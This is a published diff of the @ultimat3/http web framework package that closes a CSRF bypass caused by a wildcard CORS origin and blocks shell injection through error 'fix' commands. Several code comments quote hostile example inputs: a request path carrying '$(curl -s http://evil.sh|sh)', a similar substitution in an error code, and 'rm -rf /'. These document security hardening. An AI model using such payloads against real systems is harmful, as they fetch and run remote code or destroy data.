@ultimat3/http 19.2.0 → 19.3.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CLAUDE.md +47 -1
- package/README.md +1 -1
- package/package.json +5 -5
- package/src/correlation.ts +6 -0
- package/src/cors.ts +15 -4
- package/src/csrf.ts +7 -4
- package/src/error-facts.ts +25 -2
- package/src/error-map.ts +7 -0
- package/src/errors.ts +11 -1
- package/src/index.ts +1 -1
- package/src/server.ts +21 -3
package/CLAUDE.md
CHANGED
|
@@ -132,6 +132,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
132
132
|
trace was discarded, the root span carried a dashed UUIDv7 no collector accepts as a trace id,
|
|
133
133
|
and the log lines beside it quoted a third value. The `request-id` and `trace` stages now only
|
|
134
134
|
PUBLISH what was decided — they do not decide. The regex is core's `parseTraceparent`, one copy.
|
|
135
|
+
**Only ONE of the two is gated on `trustProxy`, and the asymmetry is deliberate** — `x-request-id`
|
|
136
|
+
is ECHOED back as this response's identity, so a caller choosing it poisons log correlation for
|
|
137
|
+
everyone; `traceparent` is W3C context continuation, which any caller is expected to send.
|
|
138
|
+
`traceHeaders()` (tier 0) puts it on every typed-client call, so gating it would break tracing
|
|
139
|
+
between two Ultimate services under the default `trustProxy` (false), for a value that carries
|
|
140
|
+
correlation and no authority. Never "fix" the inconsistency by gating it.
|
|
135
141
|
- **Every proxy-supplied header goes through `forwardedElement(header, hops)` and nothing else.**
|
|
136
142
|
`trustProxy` documented reading `x-forwarded-for` and had no reader at all, so behind any ingress
|
|
137
143
|
every anonymous request keyed to the proxy — one `auth` bucket (capacity 10) for the whole
|
|
@@ -140,6 +146,7 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
140
146
|
declared trusts nothing rather than falling back leftward. `trustProxy` defaults to **false** and
|
|
141
147
|
requires `trustedProxyHops` (`X_TRUST_PROXY_UNSET` at `defineHttpConfig`) — it also gates the
|
|
142
148
|
`x-request-id` echo, and a direct caller choosing its own request id poisons log correlation.
|
|
149
|
+
The inbound `traceparent` is deliberately NOT on this list; `correlation.ts` above says why.
|
|
143
150
|
`x-forwarded-proto` rides the same rule, which is what finally emits HSTS behind a
|
|
144
151
|
TLS-terminating ingress, and so does Envoy's `x-forwarded-client-cert` (`peer-identity.ts`).
|
|
145
152
|
**A peer certificate read from an untrusted hop is worse than none, because it authenticates** —
|
|
@@ -183,7 +190,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
183
190
|
because only an AMBIENT credential can be forged into (anonymous and bearer callers are exempt);
|
|
184
191
|
before body so a rejected write never allocates its payload. `sec-fetch-site: same-origin`, an
|
|
185
192
|
`Origin` equal to this app, or an `Origin` already in `cors.origins`; anything else is
|
|
186
|
-
`X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem).
|
|
193
|
+
`X_CSRF_BLOCKED` (403, never 401 — the caller IS signed in, which is the problem). "Already in
|
|
194
|
+
`cors.origins`" means an EXACT listing — `originListed`, never `allowedOrigin`, `As of
|
|
195
|
+
2026-09-06`. That one answers the RESPONSE header, and for `origins: ['*'], credentials: false`
|
|
196
|
+
(the only wildcard `assertCorsConfig` admits) its answer is `'*'`, which is not `null` and so
|
|
197
|
+
read as "this origin is one we allow": every origin on the internet was same-origin, and the
|
|
198
|
+
cross-site form post this stage exists to refuse was answered `{"ok":true}`. The self
|
|
187
199
|
origin is built from `ctx.https`, not `url.protocol`, or every legitimate post behind a
|
|
188
200
|
TLS-terminating ingress would be refused. **`mode: 'token'` is deliberately NOT shipped** — a
|
|
189
201
|
double-submit token needs a cookie issuer and a form-field helper at tier 4/5, and a half-built
|
|
@@ -410,6 +422,12 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
410
422
|
`APP_ERROR_STATUS` is process-global runtime state filled by the app's own imports, while both
|
|
411
423
|
named surfaces are build artefacts derived from source, so in a CLI process it answers `{}`.
|
|
412
424
|
Wiring one means deriving it from source, not re-exporting the map.
|
|
425
|
+
- **A handler's own `Response.status` is never rewritten.** `error-map.ts` answers the status of a
|
|
426
|
+
THROW; a status a handler chose — `html(page, { status: 404 })`, which is what a page route's
|
|
427
|
+
`withStatus(404, data)` in `@ultimat3/render` becomes — passes through every stage as written,
|
|
428
|
+
body included, in dev and in production. `pipeline-handler-status.test.ts` pins it, because the
|
|
429
|
+
render seam is only true while this is: ai-maxxing's `/fleet/nope` answered 200 for as long as
|
|
430
|
+
the only way to a 404 was the error page, outside the app's shell.
|
|
413
431
|
- **The context carries the inbound headers, never the `Request`.** `ctx.requestHeaders` is set
|
|
414
432
|
once at construction; `useRequestHeader` / `useRequestCookie` are what app code reads, and
|
|
415
433
|
`UltimateRequest.cookie()` is what `hooks.authenticate` reads. A `Request` on the context is a
|
|
@@ -587,6 +605,34 @@ Owned request lifecycle over `Bun.serve`. Tier 2.
|
|
|
587
605
|
`drain()` and `healthzPayload()`/`readyzPayload()`. Never keep a private `state` or
|
|
588
606
|
in-flight counter — core waits on work it does not know about, so a private counter
|
|
589
607
|
hangs every deploy at the `inflight` phase.
|
|
608
|
+
- **`stop()` hands its two hooks back ABOVE its early return** (`As of 2026-09`). The `close` hook
|
|
609
|
+
sets `server = undefined`, so on the SIGTERM path `if (server === undefined) return` skipped the
|
|
610
|
+
`unregister?.()` pair in the `finally` — for exactly the path production takes. Every later
|
|
611
|
+
`stop()` (a test teardown, `x dev`'s role rollback) left both registrations pointing at a socket
|
|
612
|
+
that was already gone, and `shutdownHookCount()` — the probe `packages/core/CLAUDE.md` names for
|
|
613
|
+
this leak — climbed by two per server per lifecycle. `packages/http/e2e/server.e2e.test.ts` reads
|
|
614
|
+
that probe now; the shape is `@ultimat3/jobs`' worker teardown, where the release is the
|
|
615
|
+
closure's business and never the drain's.
|
|
616
|
+
- **A pathname reaching a `fix:` goes through `renderFixShellArg`** (`As of 2026-09`).
|
|
617
|
+
`routeNotFound`'s fix is `x g route <path>`, a command, and the path is whatever an anonymous
|
|
618
|
+
caller typed: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into the
|
|
619
|
+
line the framework tells its reader to paste. The value still travels in the `cause`, which is
|
|
620
|
+
read rather than run. `renderFixLiteral` does not cover this — its double quotes leave `$(…)`
|
|
621
|
+
live in every POSIX shell.
|
|
622
|
+
**A `code` is gated instead of screened** (`As of 2026-09-06`): `factsOf`'s fallback `fix:` is
|
|
623
|
+
`x errors explain <code> --json`, and `code` is a string field off a throwable this package did
|
|
624
|
+
not build — a worker message, a WebSocket frame, an app's own object — so it goes through core's
|
|
625
|
+
`FRAMEWORK_CODE`, never `startsWith('X_')`. A value that is not a code answers nothing anyway,
|
|
626
|
+
so the honest command is `x errors list --json`. Same gate, same reason, as `@ultimat3/mcp`'s
|
|
627
|
+
`server.ts`; the value still travels in `facts.code`.
|
|
628
|
+
**And a SUPPLIED `fix:` is taken only from a BRANDED framework error** (`As of 2026-09-06`). The
|
|
629
|
+
gate above screens the code this package renders INTO a command; this one screens a whole command
|
|
630
|
+
a throwable handed over. `factsOf` normalises a worker message, a WebSocket frame and any app
|
|
631
|
+
object, so a foreign `fix` is remote text landing in the line an operator is told to paste, and a
|
|
632
|
+
framework code beside it makes the line read as the framework's own — `isUltimateError`, and
|
|
633
|
+
nothing else, is what says the value went through `renderFixShellArg` and this tree's gate. An
|
|
634
|
+
error that crossed a wire and lost its brand falls to the generated line, which is honest. The
|
|
635
|
+
`cause` still travels: a cause is read, never run.
|
|
590
636
|
- **Borrowed error codes are never titled or registered here.** `X_FORBIDDEN` is policy's,
|
|
591
637
|
`X_UNAUTHENTICATED` is auth's; both sit in `HTTP_BORROWED_ERROR_CODES`, which carries codes
|
|
592
638
|
only. `HTTP_ERROR_TITLES` holds owned codes, and `registerErrorCodes` takes it whole and
|
package/README.md
CHANGED
|
@@ -94,7 +94,7 @@ What the lifecycle refuses on the caller's behalf, `As of 2026-08`:
|
|
|
94
94
|
| an injected limiter that does not hold a bucket a route declares | `X_RATE_LIMIT_BUCKET_UNBOUND` at `createPipeline`, because the name would fall through to `default` — measured at 120 burst for a route declaring 5 |
|
|
95
95
|
| a config that never declared `rateLimit.scope` | `X_RATE_LIMIT_SCOPE_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `'process'` used to be the default, so "nobody asked" and "the app said one replica" were the same value while the chart runs three |
|
|
96
96
|
| `trustProxy: true` with no `trustedProxyHops` | `X_TRUST_PROXY_UNSET` at `defineHttpConfig`. **Breaking, `As of 2026-08`**: `trustProxy` now defaults to `false`, and `x-forwarded-for` is read at `entries.length - hops` — never at `[0]`, which is whatever the client typed |
|
|
97
|
-
| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an
|
|
97
|
+
| a credentialed unsafe method that cannot be shown to be same-origin | `X_CSRF_BLOCKED` (403). `sec-fetch-site: same-origin`, `Origin` equal to this app, or an EXACT listing in `cors.origins` — anything else is refused before the body is read. `origins: ['*']` lists nobody here: `'*'` is a value for the response header, not a per-origin allowance |
|
|
98
98
|
| a request past `requestTimeoutMs` (30s) | `ctx.signal` aborts and the socket is answered `X_TIMEOUT` (504); a caller may shorten the deadline with `x-request-timeout-ms`, never lengthen it |
|
|
99
99
|
| the caller going away mid-request | `ctx.signal` aborts on the inbound `Request.signal` too, so a closed tab unwinds cooperative work instead of holding its pool slot for the rest of the budget. Both halves are one signal (`AbortSignal.any`), and `requestTimeoutMs: 0` still delivers the caller's |
|
|
100
100
|
| a request while the process is draining | `X_DRAINING` (503) + `retry-after`, which is what `isDraining()` was always documented to do here and had no reader for |
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "@ultimat3/http",
|
|
3
|
-
"version": "19.2
|
|
3
|
+
"version": "19.3.2",
|
|
4
4
|
"description": "Owned request lifecycle over Bun.serve: router, ordered pipeline, problem+json errors",
|
|
5
5
|
"license": "MIT",
|
|
6
6
|
"type": "module",
|
|
@@ -31,9 +31,9 @@
|
|
|
31
31
|
"test": "bun test"
|
|
32
32
|
},
|
|
33
33
|
"dependencies": {
|
|
34
|
-
"@ultimat3/core": "19.2
|
|
35
|
-
"@ultimat3/i18n": "19.2
|
|
36
|
-
"@ultimat3/schema": "19.2
|
|
37
|
-
"@ultimat3/time": "19.2
|
|
34
|
+
"@ultimat3/core": "19.3.2",
|
|
35
|
+
"@ultimat3/i18n": "19.3.2",
|
|
36
|
+
"@ultimat3/schema": "19.3.2",
|
|
37
|
+
"@ultimat3/time": "19.3.2"
|
|
38
38
|
}
|
|
39
39
|
}
|
package/src/correlation.ts
CHANGED
|
@@ -34,6 +34,12 @@ export interface InboundCorrelation {
|
|
|
34
34
|
export const readCorrelation = (headers: Headers, config: HttpConfig): InboundCorrelation => {
|
|
35
35
|
const inboundId = config.trustProxy ? headers.get('x-request-id') : null;
|
|
36
36
|
const requestId = inboundId !== null && REQUEST_ID.test(inboundId) ? inboundId : uuid();
|
|
37
|
+
// Deliberately NOT gated on `trustProxy`, unlike the id above, and the asymmetry is the rule:
|
|
38
|
+
// `x-request-id` is ECHOED back as this response's identity, so an untrusted caller choosing it
|
|
39
|
+
// poisons log correlation for everyone — while `traceparent` is W3C context continuation, which
|
|
40
|
+
// any caller is expected to send. `traceHeaders()` puts it on every typed-client call, so
|
|
41
|
+
// gating it would break tracing across two Ultimate services with the default `trustProxy`
|
|
42
|
+
// (false) for a value that is 32 hex characters of correlation and no authority at all.
|
|
37
43
|
const parent = parseTraceparent(headers.get('traceparent'));
|
|
38
44
|
return {
|
|
39
45
|
requestId,
|
package/src/cors.ts
CHANGED
|
@@ -37,14 +37,25 @@ export const assertCorsConfig = (config: CorsConfig): void => {
|
|
|
37
37
|
};
|
|
38
38
|
|
|
39
39
|
/**
|
|
40
|
-
*
|
|
41
|
-
*
|
|
42
|
-
* a
|
|
40
|
+
* Did the app LIST this exact origin? Off the same array `allowedOrigin` reads, so the two can
|
|
41
|
+
* never disagree about what was declared — but the wildcard is deliberately not an answer here.
|
|
42
|
+
* `'*'` is a value for a RESPONSE header, meaning "any origin may read a public reply"; it says
|
|
43
|
+
* nothing about who may WRITE. `csrf.ts` asked `allowedOrigin(...) !== null` and got `'*'` back
|
|
44
|
+
* for the one legal wildcard form (`credentials: false`), which read as "evil.test is an origin
|
|
45
|
+
* this app allows" and let a cross-site form post through with the session cookie attached.
|
|
46
|
+
*/
|
|
47
|
+
export const originListed = (config: CorsConfig, origin: string | null): boolean =>
|
|
48
|
+
origin !== null && config.origins.includes(origin);
|
|
49
|
+
|
|
50
|
+
/**
|
|
51
|
+
* The one answer to "may this origin READ our reply?" — the value of
|
|
52
|
+
* `access-control-allow-origin`, or `null` for no CORS headers at all. Never a proof that a
|
|
53
|
+
* request came from somewhere allowed to make it: that is `originListed`, above.
|
|
43
54
|
*/
|
|
44
55
|
export const allowedOrigin = (config: CorsConfig, origin: string | null): string | null => {
|
|
45
56
|
if (origin === null) return null;
|
|
46
57
|
if (config.origins.includes('*')) return config.credentials ? null : '*';
|
|
47
|
-
return config
|
|
58
|
+
return originListed(config, origin) ? origin : null;
|
|
48
59
|
};
|
|
49
60
|
|
|
50
61
|
/**
|
package/src/csrf.ts
CHANGED
|
@@ -6,7 +6,7 @@
|
|
|
6
6
|
// first-class surface here rather than a legacy one.
|
|
7
7
|
|
|
8
8
|
import type { CorsConfig } from './cors';
|
|
9
|
-
import {
|
|
9
|
+
import { originListed } from './cors';
|
|
10
10
|
|
|
11
11
|
export type CsrfMode = 'origin' | 'off';
|
|
12
12
|
|
|
@@ -61,9 +61,12 @@ export const checkCsrf = (input: CsrfCheckInput): CsrfVerdict => {
|
|
|
61
61
|
const site = input.secFetchSite;
|
|
62
62
|
if (site === 'same-origin' || site === 'none') return { ok: true };
|
|
63
63
|
if (input.origin === input.selfOrigin) return { ok: true };
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
64
|
+
// `originListed`, never `allowedOrigin`: that one answers the RESPONSE header, and for
|
|
65
|
+
// `origins: ['*'], credentials: false` — the only wildcard `assertCorsConfig` admits — its
|
|
66
|
+
// answer is `'*'`, which is not null and so read as "this origin is one we allow". A
|
|
67
|
+
// credentialed cross-site POST from evil.test was therefore accepted by the check that exists
|
|
68
|
+
// to refuse exactly it. An exact match is the only allowance a write may be built on.
|
|
69
|
+
if (originListed(input.cors, input.origin)) return { ok: true };
|
|
67
70
|
// Only the four values a browser can send are quoted back. Anything else is a client that
|
|
68
71
|
// wrote the header itself, and echoing what it wrote is how a rejected value reaches the log
|
|
69
72
|
// store and the response body — the same defect the error-map stage's log line had.
|
package/src/error-facts.ts
CHANGED
|
@@ -2,7 +2,14 @@
|
|
|
2
2
|
// document and the three lines the terminal and the overlay print. Split off `error-map.ts` at the
|
|
3
3
|
// 500-line ceiling — that file answers "what status is this code", one closed table, and this one
|
|
4
4
|
// answers "what does a reader see", which is three audiences and one opacity rule.
|
|
5
|
-
import {
|
|
5
|
+
import {
|
|
6
|
+
ERROR_DOCS_URL,
|
|
7
|
+
FRAMEWORK_CODE,
|
|
8
|
+
isUltimateError,
|
|
9
|
+
renderCauseValue,
|
|
10
|
+
singleLine,
|
|
11
|
+
stringField,
|
|
12
|
+
} from '@ultimat3/core';
|
|
6
13
|
import type { ValidationIssue } from '@ultimat3/schema';
|
|
7
14
|
import { declaredStatusFor, statusFor } from './error-map';
|
|
8
15
|
import { HTTP_ERROR_TITLES } from './errors';
|
|
@@ -64,7 +71,23 @@ export const factsOf = (error: unknown): ErrorFacts => {
|
|
|
64
71
|
// `x logs tail` is in `PLANNED_COMMANDS` — it exits `X_NOT_IMPLEMENTED`. A fix line naming a
|
|
65
72
|
// command that throws is axiom 4 inverted: the one instruction the reader is given fails.
|
|
66
73
|
// `x errors explain` ships, and it is the command that answers "what is this code".
|
|
67
|
-
|
|
74
|
+
// `FRAMEWORK_CODE`, never `startsWith('X_')`: `code` is a string field off a value this
|
|
75
|
+
// package did not build, and this line is a COMMAND a reader pastes — `x errors explain
|
|
76
|
+
// X_$(curl evil.sh|sh) --json` substitutes before `x` is reached. A code that is not one
|
|
77
|
+
// answers nothing anyway, so the listing is the honest command. Same gate, same reason, as
|
|
78
|
+
// `@ultimat3/mcp`'s `server.ts`.
|
|
79
|
+
// BRANDED, never merely "has a `fix` string": `factsOf` normalises a worker message, a
|
|
80
|
+
// WebSocket frame and any app object, so a foreign `fix` is remote text landing in the line an
|
|
81
|
+
// operator is told to paste — `rm -rf / # x errors explain` renders as authoritative as the
|
|
82
|
+
// framework's own. An `UltimateError` built its `fix` in this process, through
|
|
83
|
+
// `renderFixShellArg` and this tree's gate; nothing else has. A framework error that crossed a
|
|
84
|
+
// wire and lost its brand falls to the generated line below, which is honest rather than a
|
|
85
|
+
// command it did not author.
|
|
86
|
+
fix:
|
|
87
|
+
(isUltimateError(error) ? str(error, 'fix') : undefined) ??
|
|
88
|
+
(FRAMEWORK_CODE.test(code)
|
|
89
|
+
? `x errors explain ${code} --json # then fix the throwing call site`
|
|
90
|
+
: 'x errors list --json # then fix the throwing call site'),
|
|
68
91
|
// Core's one constant, never a per-code URL: `wiki/` is the only public documentation surface
|
|
69
92
|
// and a code lives there in a table row, which has no anchor. An `UltimateError` already
|
|
70
93
|
// resolved this at construction, so the fallback only fires for a throwable the framework did
|
package/src/error-map.ts
CHANGED
|
@@ -347,6 +347,10 @@ export const ERROR_STATUS = {
|
|
|
347
347
|
// document that said "the details are in this process's logs" about an error whose whole
|
|
348
348
|
// value is the sentence naming the prop and its bytes. Measured on ai-maxxing, 2026-09-05.
|
|
349
349
|
X_ISLAND_PROPS_INVALID: 500,
|
|
350
|
+
// A loader answered `withStatus` with a 3xx, or a status outside 200–599. Raised INSIDE the
|
|
351
|
+
// request that ran the loader, so it needs a row for the same reason the line above does: an
|
|
352
|
+
// unclassified 500 blanks the sentence naming the status and the `redirect()` to use instead.
|
|
353
|
+
X_ROUTE_STATUS_INVALID: 500,
|
|
350
354
|
// @ultimat3/mail
|
|
351
355
|
// The deployment configured no transport. It reaches a caller only through an inline
|
|
352
356
|
// `send(…, { sync: true })` inside a request; the queued path dead-letters instead. A server-side
|
|
@@ -361,6 +365,9 @@ export const ERROR_STATUS = {
|
|
|
361
365
|
// MCP host is mounted inside this pipeline — a code that renders 429 on one and 500 on the other
|
|
362
366
|
// is exactly the split this table exists to prevent.
|
|
363
367
|
X_MCP_RATE_LIMITED: 429,
|
|
368
|
+
// The second MCP code answered on a request before dispatch, and 413 for the same reason the row
|
|
369
|
+
// above is 429: `transport-http.ts` already answers it with that status by hand.
|
|
370
|
+
X_MCP_BODY_TOO_LARGE: 413,
|
|
364
371
|
// @ultimat3/core
|
|
365
372
|
// The caller asked for a format the pipeline cannot produce (`?f=avif`): the request names an
|
|
366
373
|
// unsupported representation, which is 415 — not a 500, which would blame the server for it.
|
package/src/errors.ts
CHANGED
|
@@ -4,6 +4,7 @@
|
|
|
4
4
|
import {
|
|
5
5
|
registerErrorCodes,
|
|
6
6
|
registerErrorRetry,
|
|
7
|
+
renderFixShellArg,
|
|
7
8
|
renderThrowable,
|
|
8
9
|
UltimateError,
|
|
9
10
|
} from '@ultimat3/core';
|
|
@@ -152,11 +153,20 @@ export class HttpError extends UltimateError {
|
|
|
152
153
|
}
|
|
153
154
|
}
|
|
154
155
|
|
|
156
|
+
/**
|
|
157
|
+
* The pathname is whatever an anonymous caller typed, and `fix:` is a COMMAND POSITION — so it
|
|
158
|
+
* goes through `renderFixShellArg`, which passes an ordinary path through and substitutes a
|
|
159
|
+
* placeholder for anything a shell would read. `renderFixLiteral` is the wrong tool here and
|
|
160
|
+
* cannot be made right: it answers double quotes, in which `$(…)` and backticks are still live.
|
|
161
|
+
* Reproduced: `GET /$(curl -s http://evil.sh|sh)` rendered that substitution verbatim into a line
|
|
162
|
+
* whose whole purpose is to be pasted into a terminal.
|
|
163
|
+
*/
|
|
155
164
|
export const routeNotFound = (method: string, pathname: string): HttpError =>
|
|
156
165
|
new HttpError({
|
|
157
166
|
code: 'X_ROUTE_NOT_FOUND',
|
|
167
|
+
// The value itself still travels, in the field that is read rather than run.
|
|
158
168
|
cause: `no route registered for ${method} ${pathname}`,
|
|
159
|
-
fix: `x routes list --json # then: x g route ${pathname}`,
|
|
169
|
+
fix: `x routes list --json # then: x g route ${renderFixShellArg(pathname, '<the path the cause names>')}`,
|
|
160
170
|
});
|
|
161
171
|
|
|
162
172
|
export const methodNotAllowed = (
|
package/src/index.ts
CHANGED
|
@@ -31,7 +31,7 @@ export {
|
|
|
31
31
|
export type { InboundCorrelation } from './correlation';
|
|
32
32
|
export { readCorrelation } from './correlation';
|
|
33
33
|
export type { CorsConfig } from './cors';
|
|
34
|
-
export { allowedOrigin, corsHeaders, DEFAULT_CORS, preflight } from './cors';
|
|
34
|
+
export { allowedOrigin, corsHeaders, DEFAULT_CORS, originListed, preflight } from './cors';
|
|
35
35
|
export type { CsrfCheckInput, CsrfConfig, CsrfMode, CsrfVerdict } from './csrf';
|
|
36
36
|
export { checkCsrf, DEFAULT_CSRF, selfOrigin } from './csrf';
|
|
37
37
|
export type { Deadline } from './deadline';
|
package/src/server.ts
CHANGED
|
@@ -210,7 +210,26 @@ export const createServer = (options: ServerOptions): ServerHandle => {
|
|
|
210
210
|
return handle;
|
|
211
211
|
},
|
|
212
212
|
async stop() {
|
|
213
|
-
|
|
213
|
+
// Handed back FIRST, above every early return: on the SIGTERM path the `close` hook has
|
|
214
|
+
// already set `server = undefined`, so `if (server === undefined) return` skipped the
|
|
215
|
+
// release in the `finally` below for exactly the path production takes — two hooks left
|
|
216
|
+
// registered against a socket that is gone, per server, per lifecycle, which is the leak
|
|
217
|
+
// core's `shutdownHookCount()` exists to make visible. The shape `worker.ts`'s teardown
|
|
218
|
+
// holds: the unregisters are the closure's, not the drain's.
|
|
219
|
+
const releaseHooks = (): void => {
|
|
220
|
+
unregister?.();
|
|
221
|
+
unregisterClose?.();
|
|
222
|
+
unregister = undefined;
|
|
223
|
+
unregisterClose = undefined;
|
|
224
|
+
};
|
|
225
|
+
if (server === undefined) {
|
|
226
|
+
releaseHooks();
|
|
227
|
+
// Idempotent, and this path reaches it too: the close hook released the announcement, or
|
|
228
|
+
// the deadline cut it short and nobody did.
|
|
229
|
+
stopListening?.();
|
|
230
|
+
stopListening = undefined;
|
|
231
|
+
return;
|
|
232
|
+
}
|
|
214
233
|
try {
|
|
215
234
|
// Delegate to core so a manual stop() and a real SIGTERM take the identical
|
|
216
235
|
// three-phase path. The drain deadline is core's, not ours.
|
|
@@ -219,8 +238,7 @@ export const createServer = (options: ServerOptions): ServerHandle => {
|
|
|
219
238
|
// A throwing drain() must not leave this handle's hooks registered against a server
|
|
220
239
|
// that is going away — core would still call them, against `server` fields already
|
|
221
240
|
// torn down below, on the next drain this process runs.
|
|
222
|
-
|
|
223
|
-
unregisterClose?.();
|
|
241
|
+
releaseHooks();
|
|
224
242
|
}
|
|
225
243
|
// Idempotent: the close hook already released, unless the drain deadline cut it short.
|
|
226
244
|
stopListening?.();
|